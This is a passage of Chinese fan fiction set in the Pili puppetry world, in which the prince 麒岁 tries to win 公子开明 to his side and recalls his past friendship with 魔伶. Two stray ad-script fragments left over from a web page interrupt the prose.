说完,他转头看向网中人,“妖神将,麻烦你将苏大夫送过去吧。” 网中人坐在原处纹丝不动,“魔兵认得他,不会伤害他。” 戮世摩罗说,“我想自己静一静。” 他这句话倒是难得,网中人“哼”了一声,“也是,你只有自己一个人的时候才会静一静。”说罢,站起身对苏容焉道,“走吧。” “末医谢过帝尊与妖神将。” 苏容焉朝戮世摩罗行了个礼,转身跟着网中人离开了。 网中人护送苏容焉的这一路上都没说话,直到两人走到房间门口了,网中人才突然开口,用一种几乎是威胁的语气对苏容焉道,“护好自己的命,别轻易就死。” 苏容焉像是被他吓到了一样,转头看向网中人,诧异地指着自己: “妖神将……怎么突然说这话?” 网中人回道,“吾只是想问你,你当下可有收徒?亦或是身边还有其他的狐族?” 苏容焉有些茫然地摇了摇头,“没有。” 网中人继续道,“当年你父亲愿意服下桃参血丹,一是因为他本就有告老还乡之意。二是因为,他知道他走了以后,帝尊身边还有你。” 苏容焉反应了一下,才明白网中人话中的意思。他想说修罗国度和幽闇联盟都有其他的医师,结果话未出口,便忽然想到,医师不难找,但如今仍在闇盟和修罗国度的青丘狐族,好像……只剩他一个了。 他便郑重地点点头,“知道了妖神将,谢谢提醒。” 网中人将手背后,冷冷道,“你记住就行。” 说完,转身大步离开了。 —— “本——策君何德何能,让你凶岳疆朝四皇子亲自来羽瑞寒魄宫接我。” “因为举国上下只有我和六弟有西王母印。而且这称呼马上就要改口了。” “是是是,我知道我清楚我明白,但是等继位大典之后再改也——不迟。” 公子开明计算的时间大差不差,一天前他对凤璇音说,麒岁差不多该来接他了,要她把麒染安顿好,过了一天,麒岁就带着祸雕来接他了。 所以现在的场景,就是祸雕展开头上的翅膀,带着麒岁和公子开明两只魔,自凤鸣山出发,一路东行飞向凶犁魔都。 常年被祸雕带着飞的麒岁十分熟练地扶着祸雕的胳膊,看起来从容不迫。而公子开明则是两只胳膊紧紧抱着祸雕的腰,恨不得连腿也一起缠上去,虽然祸雕紧紧地抓着他,但还是一副生怕自己掉下去的样子。 麒岁见他这样,不禁觉得好笑,“策君坐了几百年的木鸢,怎么会怕成这样子?” “废话废话废话!”公子开明挥了两下胳膊,而后像是想起了什么似的,又一下子抱住祸雕,“木鸢是我的坐骑,我自然信任木鸢。祸雕又不是我的坐骑,我当然害怕!” 顿了顿,又怒气冲冲地道,“要不是你这个夭寿老四把我功体锁了,让我召唤不出木鸢,我还用被祸雕带着飞?本策君早就自己飞过去了。” “往哪飞?”麒岁问他,“修罗魔都?还是闇盟?” “你也知道本策君不会往凶犁魔都飞!” “就是因为如此,才不能让策君用木鸢啊。”麒岁似笑非笑地回道。 见麒岁一副理所应当的模样,公子开明真想拔出头上的簪子,直接往他脸上戳个大窟窿。 沉沦海边关的地形多山地,紫色的魔雾笼罩在赭石色山峦上,魔影重重,邪气森森。祸雕带着两人一路向东方飞去,越接近凶犁魔都,紫色的魔雾便越稀薄,渐渐的,山峦的颜色变为了朱砂石青交织,四周的光线也略微明亮了一些。 公子开明一手遮在眼睛上方,顺着飞行的方向遥遥望去,只见前方重峦叠嶂,云雾中隐隐约约游荡着一些妖魔,穿梭在魔都的上空,大概是在巡逻。 飞过这片橙红交织的山川,便是一望无际的辽阔平原了,平原之上,凶岳疆朝的各个大城尽收于眼底—— 离山城最近的,是一座笼罩着蓝雾的巨大城池,城北,一座巍峨壮观的魔宫拔地而起,一座高塔高耸入云,琼楼玉宇波澜壮阔。宫殿左侧,一条比高塔还要再高出十丈之长的巨龙雕塑屹立于此,闪耀着血色的眼睛在蓝雾中朦朦胧胧,仿佛天幕中的两轮血月。 公子开明指着那条巨龙雕塑问麒岁,“那是谁?是应龙师吗?” 麒岁很是疑惑地问,“策君为什么会觉得那是父王?” “我看着像是一条老龙坐化了。”公子开明回答。 麒岁先是怔了一下,而后才反应过来公子开明在说什么,笑道,“父王就是我设计害得下落不明的,策君用父王来激我,无用。” “谁——说本策君要激你了,”公子开明挥了挥手道,“单纯就是想损这老东西几句罢了。” 靠近凶犁魔都后,祸雕带着麒岁和公子开明向下降落,穿过层层蓝雾之后,三只魔停在了一处碧玉长阶前。 碧玉长阶上方,一座青瓦飞檐的庞大建筑呈现眼前,龙纹通门上方,“北鹿阁”三个金字撰写在红木牌匾上,在灯火照耀下熠熠生辉。 祸雕将自己头顶的翅膀收起来,后退一步,对麒岁恭敬道,“四殿下,策君,四皇子府到了。” “辛苦你了,祸雕,”麒岁拍了拍祸雕的肩膀,“你先回去吧。” “是,四殿下。”祸雕点点头,而后大步朝东市的方向走去了。 目送祸雕离开后,麒岁转头看向公子开明,彬彬有礼道,“策君,和我一同上去吧。” 说完话,发现公子开明并没有看四皇子府,而是在四下张望,似乎是在找什么一般。 见他如此,麒岁有些奇怪地问,“策君?怎么了?遗失东西了吗?” 公子开明这才听见麒岁的声音,顿时像是魂刚被召回来一般,“啊?没有,”他挥了挥手,“台阶太高了,我在找有没有什么东西可以让我直接上去。” “我背你?”麒岁一本正经地提出了一个等同虚设的建议。 公子开明的无语凝噎溢于言表,“算了算了,本——策君不尊老,但知道爱幼,这点台阶还累不着我。” 说罢,单手一背,便朝台阶上方走去了。 他一边往上走,一边回想刚刚在空中所看到的,整座魔都的面貌。 凶犁魔都自北向南呈一个长方形,魔羲宫在魔都最北端,西边与北边皆靠群山。以魔羲宫为中心,宫外一圈城墙,皆设魔羲宫卫兵,外圈是府邸衙门,再外圈是东市与西市,最外圈是居民区。 整座城池两道围墙,堡垒中分别有重兵把守,公子开明入城的时候注意了一下,把守人员持弓箭者较多。 西边与北边因靠群山,不好攻城,城若要攻城,只能从这南边和东边下手。 六皇子府在魔都的东边,正常情况下出城要方便些。而四皇子府在西边,是条死路,不过按照麒岁的谨慎程度,他肯定会在自己的府中留有退路。 退路的话……公子开明回想了一下刚才在空中观察到的凶岳疆朝地形。 越是靠近沉沦海,山川就越密集,只有两条路可以作为麒岁的退路,一个是凤鸣山的羽瑞寒魄宫,还有一个…… 是瑶后居住的瑶山。 公子开明又抬头看向天空。 魔都上方有蓝雾,刚刚降落时公子开明就察觉到了,那蓝雾中藏着术法。 看来麒岁带兵入魔都时,就已经设下了只进不出的术法。如今不用说是离开魔都,就是城内的人想将消息传出魔都都很难。 公子开明走到龙纹铜门前时,转身朝后方望了一眼。 他站在高处,能看到魔都东边的六皇子府与四皇子府隔城相望,六皇子府不似四皇子府这般依山而建,所以规模看起来异常的宏大。 这占地面积,说麒染不在里面藏兵都没人信。 怪不得麒岁要封锁麒染的六皇子府,也怪不得凤璇音要麒染装愚蠢,他若不蠢,应龙师肯定第一个杀他。 那四皇子府呢?公子开明又回过头看看头顶的“北鹿阁”三个大字。 四皇子府依山而建,就算面积大,因为山势的关系也能弱化很多。加之麒岁喜欢招揽人才人尽皆知,所以他的府邸越修越大也没什么好奇怪的。 但既然麒染能屯兵,麒岁肯定也会有相似的动作,不然那个祸雕和那个刹罗狰在他府里做什么?打沙袋吗? 那么问题来了。 麒岁的兵,都藏在哪呢? 如果魔羲宫发生了危机,麒岁是会调度魔羲宫的魔兵,还是四皇子府的魔兵? 如果是四皇子府的魔兵,这些魔兵又该从哪里进入魔羲宫? …… 他正暗自思考着,麒岁忽然大步走到他旁边,伸手一推,就把他身前的门推开了。 “策君进来吧。” 公子开明一下子被他打断了思考,这才回过神来,“哎哟哎哟,四皇子亲自给我开门,折煞我了折煞我了。” 进入雕龙铜门,迎面而来的是一面翡翠照壁,两人绕过照壁,院中一棵挂满红绸的桃树,浅红花瓣零零落落铺了一地。麒岁走过桃树来到主厅前,推开门走进去,偌大一个厅堂,一室古朴素雅,墙挂山水画,雕花木桌上除了墨宝和几本书籍,再无其他。 一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 侍从走过来,在桌子上放了两杯茶。 麒岁指了指桌子对面的木椅,“策君坐吧。” 公子开明没坐,指了指自己,明知故问道,“四皇子有话和我说?” 麒岁问,“我若是没话,那把策君请来这里做什么?” 公子开明回道,“可我怎么不觉得我和你有什么话可说?” 麒岁道,“不说话当然没话,话不都是说着说着才出来的么。” “好好好那就我先说——”公子开明依旧没坐,而是围着长桌一跳一跳地转起圈子来,话语如连珠炮般语速极快地窜了出来: “我——刚才已经看过了,凶岳疆朝比修罗国度那又戈壁又山地的鬼地方好多了。你们这个凶犁魔都修得不错,只是那个老龙有点碍眼,把它拆了魔羲宫也还能用。你这个北鹿阁看着不错我住十分合适那对面那个六皇子府就留给妖神将正好还能给他养魑鬼大军,至于魔羲宫我看给我们帝尊就很好毕竟他还是个小孩就喜欢这种浮夸的东西所以你现在就可以开始筹划怎么样体面地开——城——投——降——咯——” 公子开明越说声音越大,最后一个尾音,几乎要把屋顶掀了。 “……”麒岁默默地捂住了耳朵。 “哎呀。”发现麒岁捂住耳朵,公子开明停下来转来转去的脚步,指着麒岁抗议道,“你捂耳朵,你什么意思。” “没什么意思,”麒岁说,“我该开心?策君觉得我的四皇子府很适合你?” “还不错,我对你的审美表示肯定。”公子开明给了他一个大拇指。 “策君现在不就住在这里了吗?”麒岁问道。 公子开明忽然如同心口中枪,捂着心口踉踉跄跄后退了几步,颤抖着伸出手指指向麒岁,“哎呀!哎呀……这……这都被你发现了……” 麒岁:“……” 麒岁:“策君,我们进入正题吧。” 公子开明一手拍在自己的额头上,很惊讶地问道,“哎哎哎?现在不是正题嘛?” 麒岁又道,“我请策君来四皇子府,想必目的策君也很清楚了。” 公子开明一听这话,忽然一步上前抓住了麒岁的领子,把对方吓了一跳,“你这叫请?你明明是抢!” 麒岁小心地拿开公子开明的手,尽量保持语气中的平静道,“请也好,抢也罢,我始终觉得,以策君的能为,不该留在修罗国度那种弹丸之地。” “哎哟,你口气很大。”策君后退两步,脑袋转了一个圈。 “依照梁皇无忌做帝尊到元邪皇之乱的那段时间来看,修罗国度原本的理念与策君的理念不合,你的战友也不信任你。策君实在是应该另觅良主,才能好好施展你的抱负。” “我没什么抱负。”公子开明回答得很快。 “策君口是心非。”麒岁反驳得也很快。 “是谁给你的勇气来策反本策君?是我的官职给的吗?”公子开明拍了拍自己的心口问道,“要策反也是闇盟的成功几率更大一些吧,请问凶岳疆朝的小朋友为什么会有这种自信?” 麒岁不慌不忙地解释道,“策君与胜弦主交好,魔世之中人尽皆知,要是能策反早就策反了。而凶岳疆朝一直以策君为大敌,我父王更是与策君周旋多年。凶岳疆朝之中从来都没有人想过要收拢策君,那麒岁便来当这第一人了。” “嗯嗯嗯,”公子开明点点头,“不错不错,后生可畏。”他一边说着,一边又绕着桌子转了一圈,“你和那个落翅仔一样,不过他是喜欢失败的第一步,你是单纯喜欢失败。” 麒岁没有理会公子开明的讽刺,继续说道,“现今修罗国度和幽闇联盟都因元邪皇之乱元气大伤,而凶岳疆朝却没有受到太大的影响。最大的震动也不过就是我父王失踪,而这一切也都在我的掌控之中,待到继位大典过后,凶岳疆朝也就算是安定了。” “以策君的智慧,不难看出,现今也只有凶岳疆朝有着能一统魔世的能力。” “嗯嗯嗯。”公子开明点点头,“我同意。” “魔世需要统一,”麒岁说道,“三足鼎立的局面,可以保一时和平,但不会永远和平,这场战争,早晚会打起来。” “确实,是这样没错,”公子开明轻轻敲了敲自己的额头,“但是,本策君为什么要帮你?” 麒岁缓声道,“在理念上,我和梁皇无忌一样,都是主和不主战,待我统一魔世,我不会对中原出一个兵,也不会去侵扰其他地界,但戮世摩罗可就不一定了。” “哦你说的很好听真好听特别好听,”公子开明往后退了好几步,像是被什么击中了一样,“但是我凭什么要相信你呢?我相信你热爱和平还不如相信胜弦主更热爱和平~” 麒岁倒也不急于解释,“这是第一个理由。”他将话题转开,“而第二个理由是,我听说戮世摩罗已经发出了你的追捕令,修罗国度全境都在搜捕你,你现在回去就是一个罪人,一个叛臣。” “啊!说起这个我就想哭!”公子开明做出擦眼泪的动作,“这是谁害的哦!” “谁动的手不重要,重要的是,从你被赤甯朱厌追杀、又被戮世摩罗发放追捕令这两件事中就可以看出,戮世摩罗并不信任你,修罗国度的众将士也不信任你。我且问,策君可能从修罗国度中找出一个魔将完完全全地信任你?” 公子开明一怔,“哎呦,你把我问住了。” 麒岁接着道,“但是我信你。” 本来在绕着桌子走来走去的公子开明忽地顿住了。 “只要策君愿意帮我,只要策君愿意入我麾下,”麒岁像是在保证什么一般,郑重其事地说道,“我不会对策君的话有一丁点的怀疑。” “……”公子开明愣了许久没说话,过了好一会儿,才拍拍自己的脑袋道,“你说得这么诚恳,我都有点感动了。” 顿了一下,他那你有又问,“那你没有第三个理由?” 听到公子开明这么问,麒岁的眼神动了动: “第三个理由……” 他一边说着,一边低下头,从自己的怀中拿出了一件事物。 “是这个。” 他把那个事物放在手心里,递到了公子开明面前。 只见麒岁手心里,放着一枚挂坠,那挂坠是用璇瑰雕琢而成的鸟儿,鸟喙种叼着一块小小的石子。 公子开明看到这块挂坠的瞬间,身体顿时僵住了。 “你……” 他有些震惊地抬起头看向麒岁: “你怎么会有这个东西?” 公子开明之所以会这么惊讶,是因为这块吊坠他已经快将近百年没有见过了,而他上一次见到这块吊坠,是在帝女精国,是在…… 在魔伶的佩剑上。 那是魔伶在都广国捡来的一块璇瑰,后交给都广国主雕刻出鸟儿挂坠。她喜欢,就一直挂在佩剑上,后来这吊坠不见了,公子开明还问过她,挂坠去哪里了,魔伶笑着说,送人了。 送谁了,公子开明也没有问。 而今,这消失许久的物件忽然出现在他眼前,他虽也为这挂坠出现在麒岁手里而惊讶,但更多的却是物是人非带给他的冲击。 “我……与魔伶公主是旧识。” 麒岁提起魔伶的名字,碧绿的眼神里闪过一丝刻意压抑的伤感: “这是我与魔伶分别时她送给我的,关于你的很多事迹,也是她同我讲的。不过你放心,她只与我说过你在战场上如何神机妙算,其余并未透露。” 公子开明感觉自己一时间接收到的信息量有点太大了,“等一下等一下等一下……我怎么从来没听魔伶提起过你?” 难道说,当年魔伶说的挂坠“送人了”,就是送给麒岁了? 麒岁闻言,微怔了一下,而后垂下眼帘,有些失落的笑了一声: “哈,那是因为……” 他声音沉了下去,像是忽然跌入了一片深不见底的冰冷海域: “那是因为,一切都是我一厢情愿罢了。” —未完待续— 16.蚓匿(1) 【16】 暗蚓影匿深,冥行度时辰。 瞽聩难寻径,心灯落故尘。 麒岁时常觉得,自己像蚯蚓。 年幼时,他和麒染在魔羲宫后面的小花园里挖蚯蚓,他们总要把铲子小心翼翼地挖到很深很深的地方,才能看到蚯蚓的洞,而后他们又要沿着这洞继续向下找,才能找到蚯蚓。 那时候麒岁很好奇地问,“六弟,你说蚯蚓生活在地底那种暗不见光的地方,它能看见什么?” 麒染说,“它别让泥土把它压死就不错了,还管能不能看见东西?” “……哦,也是。” 当时还没有什么自然常识的麒岁,觉得麒染说得很有道理。 这是段小孩子之间没什么意义的对话,说完了也就忘了。直到后来他在夫子的考核中,故意将文章写偏题,又在和麒染的比武中,故意将陌刀打偏,被父王一掌打倒在地时,他忽然想起了这段童言无忌。 那一刻他觉得,自己真像蚯蚓。 像麒染话里的那条蚯蚓。 那时的麒岁还没有现在的心思深沉,行事稳重,他虽不像麒染那样事事写在脸上,可脾气也是大得很。彼时众多兄弟姐妹中,他是反抗父王最多的一个,每次心有不快,他就直接和应龙师玩失踪,逃离魔羲宫,远离都城,跑去凶岳疆朝任意一个地方逍遥快活。 一次,他和父王发生争执,一气之下又离开了国都,这次他决定跑远一点,干脆直接离开了凶岳疆朝。 那时他刚听说魔世西南方有一国度名为都广,土地广阔富饶,繁花锦簇。他便带着对世外桃源的向往,踏上了新的旅途。 先前他从未踏足过幽闇联盟的地界,对那边的地理也不甚熟悉,只能凭着大致方向,朝西南而去。一路询问一路寻找,他倒也不觉得麻烦,因此也结识了很多好心的魔。 后来很多魔都被他招揽进了北鹿阁,成为了他的麾下。 一日,他刚刚爬上一个山坡,正累得气喘吁吁,准备坐下休息时,无意间抬头一看,忽然发现,山坡的那边,竟然藏着一处世外仙境—— 那是一片草木茂盛,繁花似锦的旷野,蜂蝶若隐若现,河流倒映山峦。旷野中央,一棵巨大的神树拔地而起,赤色树干,浅红叶子,如同一团粉红色的云雾,在蓝月的照耀下闪烁着淡淡的光芒。 麒岁站在山坡上,看着这如画一般的景象惊呆了。 他心想,难道这里就是传说中的都广国? 他重新支撑起疲乏的身躯,走下山坡,朝那神树的方向走去。 从山坡到神树的距离,看着不远,实际却要走好长时间,待麒岁走到树下时,双腿实在是累得走不动了,他便在树下找了一个位置坐了下来。 旷野之上空无一人,唯有鸟鸣的声音,微风轻轻吹动绿茵,带来一片花香。麒岁靠着树干,只觉得疲惫涌上脑海,坐着坐着,竟就睡过去了。 这一睡就不知道睡了多久,直到他隐隐约约听见有个声音在他耳边响了起来。 “醒醒,醒醒?你还好吗?” 开始他以为是梦,但那声音越来越大,也越来越清晰,他便意识到那是真的有人在唤他,于是朦朦胧胧地睁开了眼睛。 一睁眼,就看到一张模模糊糊的脸驻留在他眼前。 他眨了眨眼,这才看清眼前人的模样。 只见眼前女子眉目如画,艳丽的容貌之中掺了几分英气,紫红长发如瀑垂下,墨色长裙如同水墨画中的一片云,浅红色的落叶纷纷扬扬在她身上,似蝴蝶起舞,又驻足停留。 女子离他很近,似是在观察他一般,麒岁从她眼里看到了自己的倒影,看起来有些呆呆的,像书里那些第一次见到神女的书生。 然而对方不是神女,是魔女,他也不是书生,是魔族的皇子。 麒岁怔怔地看着她,一时间说不出任何的话来,直到那女子看着他的眼睛,“噗嗤”一声笑出来,一边笑一边问道,“是我吓到你了吗?” 麒岁连忙摇了摇头,“你是……?” 女子说,“我叫魔伶,是幽闇联盟的魔,你呢?” 魔伶?麒岁觉得这名字好耳熟,好像是在哪里听过一样,但一时间又想不起来。 “我叫鹿山,”他随便给自己编了个名字。 “你叫鹿山?”魔伶似是想到了什么好玩的事情一样,“那你和苍风鹿蜀认识吗?杻阳国的国主,头上生鹿角的那个?” “不认识。”麒岁摇了摇头,胡乱说道,“我来自修罗国度。” “你是修罗国度的魔?”魔伶的眼神更亮了,“那你一定认识公子开明咯?” 这个名字,麒岁倒是有点印象,因为他经常听应龙师提起。麒岁对公子开明的印象就是凶岳疆朝的大敌,是个阴险狡诈,卑鄙歹毒,总是想要暗中谋害父王的恶人。 但看魔伶提起此人的表情,似乎他俩关系不错,于是便小心翼翼地道,“认识,但不熟。” 魔伶笑了笑,毫不意外地道,“果然。” 随后,魔伶告诉他,自己来自帝女精国,都广国国主藜珠是她的好朋友,她最近悠闲,便来都广国看看她,顺便四处走走看看风景。 “这里是黑水河畔,魇稷之野,这棵树据说是上古魔族魇稷的躯干所化,所以叫魇稷魔树。” 说完这些后,魔伶道,“看你是第一次来闇盟,人生地不熟,不如和我一起同行?都广国我熟悉,闭着眼都能走。” 面对魔伶的邀请,麒岁觉得也没理由拒绝,便答应了。 接下来的两个月,麒岁跟着魔伶去了闇盟的许多地方,他也终于想起来魔伶是谁了——帝女精国的公主,玄妃曾提起过的,因为玄妃是胜弦主以及魔伶母亲的好友。 两个月的时间说长不长,说短不短,却足够两个离家的孩子做很多很多的事情。 他们一起游览了闇盟的都广国,还去了槐江国和杻阳国。他们去赤水之畔看了流光溢彩的三珠树,也在崇吾山巅看了青赤相间的比翼鸟,还在魔世的最南端祭拜了祝融像…… 他还跟着魔伶认识了很多闇盟的魔,比如槐江国的三郡王鬼槐英招,和他一样动不动就离家出走。还有魔伶之前提到的,头上生着鹿角的苍风鹿蜀——两人见面时,魔伶让麒岁在鹿角上挂个许愿牌子,她说,在苍风鹿蜀的鹿角上许愿,愿望都会成真的。 除了这些亲眼见过的,魔伶还同他提到了许多她的好朋友,比如闇盟之主,足智多谋的胜弦主,以及她手下的三剑客——西经无缺,玄狐,鬼飘伶,各个剑术非凡,皆是一等一的高手。 “不过,”她很遗憾地表示,“玄狐和阿飘都神龙见首不见尾的,要找到他们很难。西经前辈倒是好寻,胜弦主在哪里,他就在哪里。” 麒岁可不敢去见胜弦主,以胜弦主的智慧,他怕自己身份会被看穿,便以“不便打扰”为由,躲开了魔伶的邀请。 当然,魔伶和他提到的最多的,还是公子开明,大概是因为这个策君可讲的趣事实在太多,亦或者她认为,公子开明和“鹿山”皆来自修罗国度,提起他会让鹿山感到亲切吧。 她说,小明是我见过的最聪明的两位魔之一,也是她最有趣的一个朋友,就是话真的太多了。 “你知道我嫌他烦的时候都是怎么制止他说话的吗?”有一天提起公子开明时,魔伶故作神秘地问他。 “怎么制止?”麒岁好奇地问。 魔伶就伸出手,掐住了麒岁两边的脸颊。 她下手很轻,但是很有用,麒岁瞬间就说不出一个清晰的字了。 魔伶看着麒岁有些震惊的眼神,哈哈大笑道,“我每次嫌他烦,就这样掐住他的脸,他就说不出话来了。” 麒岁无奈地笑着问,“他会很生气吧?” 魔伶笑道,“他会骂我死丫头没大没小,我可没觉得他比我大,他像个小孩。” 那时魔伶还很认真地对麒岁道,“你回去以后记得和小明交朋友哦!他在修罗国度的朋友似乎很少,有你在正好也可以陪陪他。” 麒岁点点头,说好。 后来,他们还去拜访了槐江国三郡王鬼槐英招,这个年纪同他差不多大的魔和他聊了几句后,就像是见到了知己,拉着他就是一顿抱怨自己的父亲多么坏多么差劲,并表示以后如果鹿山还要离家出走请务必带着他一起。 当天晚上,魔伶问他,“你是和父亲有矛盾了,所以才跑出来的啊?” “嗯。”麒岁点点头。 魔伶笑了,说出了一句意想不到的话,“谢谢你父亲。” 麒岁很奇怪,“为什么要谢谢我父亲?” 魔伶说,“如果不是你父亲,我们就不会成为朋友啊。” “……”那一瞬间,麒岁感觉自己好像突然哑了。 难道是今晚的月光让他大脑昏沉吗? 那天的蓝月的确特别亮,如水一般的月光倾泻下来,照在魔伶的侧脸和发丝上,像是同蓝月一样泛着微微的光芒。麒岁的眼神一直停留在她身上,他不知道自己在看什么,他的视线可能都没有聚焦,但这视线就是要驻留在她身上,他才会心安,才会平静。 魔的一生太长,很少有想永远停留在某刻的想法,可是此时此刻,他却希望时间再也不要向前走去。 从前的他已习惯了分别,但从这一刻开始,他被打回了原型,再次陷入了对离别的抗拒。 但——分别的日子终究还是会来。 那一日,魔伶告诉他,自己要回帝女精国了,母亲给藜珠写了很多封信,一直在催她回去,不能再拖了。 麒岁的心沉在冰冷的湖水里,面上却笑着说,“是啊,这么长时间,也该回家了。这段时间有你陪着,我很开心。” 魔伶又道,“不过没关系,既然你是修罗国度的魔,那我们以后一定还有机会见面的。” “嗯。”麒岁点点头,“会有机会见面的。” 麒岁说完这句话后,魔伶忽然低下头,将佩剑上的那块璇瑰摘了下来,放到了麒岁的手中: “这是之前在都广国寻到的一块璇瑰,藜珠找工匠雕刻成了精卫鸟的样子。下次见面也不知何时,你拿着这块璇瑰,就当是我陪在你身边啦。” 麒岁怔怔地看着手里的璇瑰,赤色与碧色相间的鸟儿,鸟喙中衔着一块晶莹剔透的小石头,放在他的手心,凉凉的,像是流过去的一道水流,抓也抓不住。 他忽然抬起头问,“魔伶,我能问你个问题吗?” 魔伶眨了眨眼睛,“什么问题?” 麒岁深吸一口气,斟酌许久,才缓缓开口问道,“如果你有一个非常喜欢的人,你会怎样让他知道这份心意呢?” 魔伶想也不想地道,“我会直接告诉他啊。” 麒岁一怔,手心像是被那鸟喙啄了一下。 魔伶接着道,“我藏不住心事的,喜欢什么东西 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,就要说出来,喜欢什么人也是一样。没有什么好藏的,你不说,别人怎么知道呢?” 麒岁的眼帘低垂,他看着地面沉默片刻,最后点了点头,扯出一个有些勉强的笑容,“我知道了。谢谢你魔伶,我们后会有期。” “后会有期,一定要有期哦。”魔伶笑着朝他挥了挥手。 “嗯,一定会的。” …… 说着后会有期,那却是麒岁和魔伶的最后一面。 他后来也有派人去寻找过魔伶提过的玄狐和鬼飘伶,意欲将他们招揽到自己的麾下,可惜两人皆是不领情,便也作罢了。 至于公子开明,他回到凶岳疆朝后,就开始注意起这个魔,旁敲侧击地向旁人打听,也比以前更加关注沉沦海和修罗国度的动向。 梁皇无忌回归后,他便肯定了自己的猜测: 策君在有意维护魔世的和平。 元邪皇之乱时,麒岁听说修罗国度在攻打幽闇联盟,曾想出兵去援助帝女精国,但钦相受应龙师之命,扣押了他的兵权,将他囚禁在北鹿阁中。这让他不仅没能救下魔伶,甚至连她的最后一面都没有见到。 这是他一生的痛,也是他一生的遗憾。 战争带来的伤疤让他无法释怀,他的兄弟姐妹,还有魔伶,皆是因为战争而死。 后来那段时间他常常在想,是否只能以暴制暴,让魔世统一为一国,才能止住这无休无止的战争? 他不知道该问谁,这问题不能问应龙师,更不能问应龙师的心腹钦相。 后来他把这个问题问了母后,母后听后思考良久,简短地对他道,想法很好,但是,难。 他知道难。 难,难,难,这世上哪有不难之事。 元邪皇之乱过后,他第一次离开凶犁魔都,就是去沉沦海。 第一次找策君,他在招摇关外站了三天三夜,不吃不喝,也不睡。直到第三天的晚上,对方才把摇摇欲坠的他拖上木鸢。 公子开明没见过他,却猜到他是凶岳疆朝的人。当他听到“四皇子麒岁”这五个字时,眼睛都瞪圆了,手握在降妖宝杖上,好似下一秒就要把他直接从木鸢上打下去。 麒岁说,“策君别激动,我来并无恶意,只想问策君一个问题。” “别问,别说话,别出声。”公子开明的语速极快,“这样我还能留你一条性命。” 麒岁却知道策君不会杀他,只是盯着他的眼睛,十分平静地问道: “策君觉得,我如何才能停止魔世的争斗?” 一句话,把见多识广的策君问懵了。 麒岁猜想,可能也就是因为这句话,让公子开明虽然口口声声再也不见他,却还是次次心软,放他登上了他的木鸢。 他始终莫名地相信,策君总有一天,会选择帮他的。 但他也确实不知道该怎样向策君证明,自己值得他相助。 所以此时此刻,他才将魔伶的璇瑰拿出来,递给公子开明看。其实他也不知道自己为何会拿出这样东西,或者他拿出璇瑰的目的,并不是为了劝说策君帮他,而仅仅是因为,想要让这隐匿在心里那么多年的伤疤,跃出水面,透一口气。 故意在比试中输给麒染的那一天,麒岁觉得自己好像一条蚯蚓。 魔世的雨太大,他若不想死,就得去寻一束光。 —— 公子开明将璇瑰递回给麒岁,转身坐到了椅子上。 “你既然提到了第一次去沉沦海问我的问题,”公子开明盯着前方说道,“那你应该也记得,我是怎么回答你的吧?” 麒岁叹了口气,“记得。” “策君那时和我说,魔世若要和平,只有两条路。一条路是统一,但难保百年之后不会再度分裂。还有一条路,是出现一个更具威胁性的敌人,让魔世三国不得不团结,但这条路危险性更强,很有可能反噬。” “嗯嗯嗯,你记性不错。”公子开明晃了晃脑袋道,“我还强调过,只能是有威胁而不是有攻击性,万一是元邪皇那样的,整个魔世就完蛋了。” “所以我从来没考虑过第二条路。”麒岁说道,“策君,你呢?” 公子开明回答,“我就没想过能一直和平。” 麒岁“哈”地笑了一声,稍顿片刻,又道,“策君,我话都说到这儿了,就差你一个回答了。不过策君可以慢慢考虑,不用着急,突然换一个国家,想来也需要做点心理准备。” “本策君真的谢谢你的贴心哦!”公子开明对他的提前预设表示无语。 麒岁无视他话中的刺,继续道,“北鹿阁你可以随意出入,去街上也没关系。但是我话说在前面,祸雕和刹罗狰可能会守在门口,你若出门,他们两人得跟一个。” “本策君不值得你亲自跟着?”公子开明决定顺势给他挖个坑。 “策君要是不介意的话我当然没问题。”麒岁一本正经地道。 “免了免了免了,”策君站起来往后退了几步,“在他们俩手下我还有逃脱的可能,在你手里恐怕是难。” 麒岁镇定自若地道,“策君,魔都上空也有结界,莫说你现在召唤不出木鸢,就算能召唤出来,你也是逃不出去的。” “哼,本策君一定能想出办法的。”公子开明给了一句完全没有威慑力的威胁。 麒岁面色不改,仍旧微笑,“那我拭目以待。” —未完待续— 17.蚓匿(2) 【17】 监狱里的环境阴暗而潮湿,昏暗的角落里不时有窸窸窣窣的声音传出,不知藏了多少邪祟之物。就算是戮世摩罗这种已经习惯了魔气的人类,走进修罗国度的监狱时,也禁不住皱起了眉头。 “这监狱修得像要闹鬼似的。”戮世摩罗一边四处打量着一边对网中人道,“可不可以把这里弄得稍微亮堂一些?” “下狱的魔不配见光。”网中人冷声回答他,“阴暗的监狱就是他们最好的归处。” “说的是很有道理,但走廊上可不可以多安几盏蜡烛?”戮世摩罗十分认真地建议道,“这走廊里走的可不是犯人,也需要搞得这么阴暗吗?” “吾在外面就说过了,”网中人的语气不耐烦起来,“你可以不进来,吾来审问即可。” “好好好都是我的不对。”戮世摩罗听出他话里有气,便无奈地摇摇头,“你这个妖神将啊,现在是一点说不得,我现在倒是有点怀念在中原时那个假意臣服的你了。” 戮世摩罗不提这件事还好,一提起来,网中人就沉默了,过了好半天才道,“吾已经记不太清楚了。” “没关系,忘了也好。”戮世摩罗顺势给了他一个台阶下,转了身,走到了一处牢房前。 只见那牢房里,一个魔兵被铁链拴在墙上,面色铁青,嘴唇苍白,看起来已经有些神志不清了,而牢房旁边,早已有一个狱卒等在那里,见戮世摩罗和网中人走来,便走上前,将一封信交给了戮世摩罗。 戮世摩罗接过来那封信,问道,“什么东西?” “从那魔兵身上搜出来的。”狱卒回答道,“信封上什么都没有写。” 戮世摩罗一边将那信拆开,一边半开玩笑地道,“我刚说什么来着,这监狱真需要多安几盏蜡烛,不然字都看不清。” 说着,他将那封信从信封里抽了出来,只见信上赫然一串大字: “下望之夜,炎火山,祸英白蜚挑战帝尊。” 戮世摩罗盯着那几个字沉默了一会儿,转头看向网中人,“什么意思?” 网中人回道,“他要挑战你。” “哈。”戮世摩罗笑了一声,没有一点生气的样子,“坦坦荡荡的不服气,很好。” 他一边说着,一边把信收了起来,对那狱卒道,“把这个魔兵放回去,送他到浮玉关,告诉祸英白蜚,他的挑战,本帝尊应了。” 说完,他转身朝监狱的出口走去了。 